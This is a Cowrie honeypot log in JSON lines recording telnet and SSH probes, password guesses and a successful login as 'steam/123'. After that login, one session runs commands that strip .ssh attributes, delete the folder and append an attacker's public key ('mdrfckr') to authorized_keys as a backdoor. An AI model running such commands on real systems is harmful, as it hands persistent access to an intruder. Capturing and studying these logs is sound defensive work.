{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"7286075649cc","protocol":"telnet","message":"New connection: 103.82.231.165:45816 (10.17.0.5:23) [session: 7286075649cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:22.411929Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57560,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a871dea7787","protocol":"telnet","message":"New connection: 194.163.135.148:57560 (159.203.135.109:23) [session: 1a871dea7787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:25.478249Z"}
{"eventid":"cowrie.session.closed","duration":34.32617425918579,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:28.078894Z","src_ip":"194.163.135.148","session":"611cf5e384d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57562,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c42884a7b5","protocol":"telnet","message":"New connection: 194.163.135.148:57562 (159.203.135.109:23) [session: 68c42884a7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:28.085785Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57564,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14245376911","protocol":"telnet","message":"New connection: 194.163.135.148:57564 (159.203.135.109:23) [session: c14245376911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:28.744240Z"}
{"eventid":"cowrie.session.closed","duration":31.799107551574707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:32.222258Z","src_ip":"103.82.231.165","session":"b24938b0cf28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f494e565ff","protocol":"telnet","message":"New connection: 194.163.135.148:57572 (159.203.135.109:23) [session: f1f494e565ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:32.478954Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57576,"dst_ip":"159.203.135.109","dst_port":23,"session":"610e9c4053fc","protocol":"telnet","message":"New connection: 194.163.135.148:57576 (159.203.135.109:23) [session: 610e9c4053fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:34.855891Z"}
{"eventid":"cowrie.session.closed","duration":50.5354163646698,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:36.742454Z","src_ip":"103.115.172.252","session":"fb6488019394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d49d3e785e2","protocol":"telnet","message":"New connection: 194.163.135.148:57582 (159.203.135.109:23) [session: 9d49d3e785e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:37.846148Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":58068,"dst_ip":"10.17.0.5","dst_port":22,"session":"72496728d1d6","protocol":"ssh","message":"New connection: 181.65.191.218:58068 (10.17.0.5:22) [session: 72496728d1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:37.975712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:37.980380Z","src_ip":"181.65.191.218","session":"72496728d1d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:38.090986Z","src_ip":"181.65.191.218","session":"72496728d1d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"333","message":"login attempt [user/333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:38.563993Z","src_ip":"181.65.191.218","session":"72496728d1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:39.677138Z","src_ip":"181.65.191.218","session":"72496728d1d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6dbc7e352c1","protocol":"telnet","message":"New connection: 194.163.135.148:57588 (159.203.135.109:23) [session: b6dbc7e352c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:39.897370Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"f030dd927c94","protocol":"telnet","message":"New connection: 194.163.135.148:57604 (159.203.135.109:23) [session: f030dd927c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:41.178401Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57612,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b48978332dc","protocol":"telnet","message":"New connection: 194.163.135.148:57612 (159.203.135.109:23) [session: 3b48978332dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:42.199253Z"}
{"eventid":"cowrie.session.closed","duration":33.00896668434143,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:43.040308Z","src_ip":"103.82.231.165","session":"26bdef145f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aa431560d07","protocol":"telnet","message":"New connection: 194.163.135.148:57620 (159.203.135.109:23) [session: 7aa431560d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:44.027157Z"}
{"eventid":"cowrie.session.closed","duration":33.61026740074158,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:53.440599Z","src_ip":"194.163.135.148","session":"510884abdc16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.465707540512085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:54.877552Z","src_ip":"103.82.231.165","session":"7286075649cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":45822,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c6919f1c5f2","protocol":"telnet","message":"New connection: 103.82.231.165:45822 (10.17.0.5:23) [session: 6c6919f1c5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:56.414096Z"}
{"eventid":"cowrie.session.closed","duration":0.0058231353759765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:56.419771Z","src_ip":"103.82.231.165","session":"6c6919f1c5f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.398513555526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:56.876636Z","src_ip":"194.163.135.148","session":"1a871dea7787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.20768642425537,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:00.951742Z","src_ip":"194.163.135.148","session":"c14245376911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66513752937317,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:03.750847Z","src_ip":"194.163.135.148","session":"68c42884a7b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.325796127319336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:04.804595Z","src_ip":"194.163.135.148","session":"f1f494e565ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356330633163452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:05.212093Z","src_ip":"194.163.135.148","session":"610e9c4053fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.213162422180176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:11.059179Z","src_ip":"194.163.135.148","session":"9d49d3e785e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11680030822754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:12.295075Z","src_ip":"194.163.135.148","session":"f030dd927c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5814414024353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:12.478729Z","src_ip":"194.163.135.148","session":"b6dbc7e352c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57910,"dst_ip":"159.203.135.109","dst_port":23,"session":"df505c87eba5","protocol":"telnet","message":"New connection: 194.163.135.148:57910 (159.203.135.109:23) [session: df505c87eba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:12.520494Z"}
{"eventid":"cowrie.session.closed","duration":33.70861506462097,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:15.907726Z","src_ip":"194.163.135.148","session":"3b48978332dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02795767784119,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:16.054999Z","src_ip":"194.163.135.148","session":"7aa431560d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26440,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b2d95a07ed","protocol":"ssh","message":"New connection: 194.59.206.2:26440 (10.17.0.5:22) [session: f7b2d95a07ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:18.782671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:18.792493Z","src_ip":"194.59.206.2","session":"f7b2d95a07ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:18.883134Z","src_ip":"194.59.206.2","session":"f7b2d95a07ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:18.977047Z","src_ip":"194.59.206.2","session":"f7b2d95a07ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":58324,"dst_ip":"159.203.135.109","dst_port":23,"session":"436fd6981e28","protocol":"telnet","message":"New connection: 194.163.135.148:58324 (159.203.135.109:23) [session: 436fd6981e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:24.155661Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":16396,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b645af5de48","protocol":"ssh","message":"New connection: 181.65.191.218:16396 (10.17.0.5:22) [session: 1b645af5de48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:46.485715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:46.490735Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:46.608065Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.103008Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.382994Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.386364Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.390366Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.928643226623535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.448999Z","src_ip":"194.163.135.148","session":"df505c87eba5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.510440Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.793988Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.798104Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.921910Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:47.926513Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":16398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c11b6d6979a6","protocol":"ssh","message":"New connection: 181.65.191.218:16398 (10.17.0.5:22) [session: c11b6d6979a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:48.033942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:48.039743Z","src_ip":"181.65.191.218","session":"c11b6d6979a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:48.155819Z","src_ip":"181.65.191.218","session":"c11b6d6979a6","protocol":"ssh"}
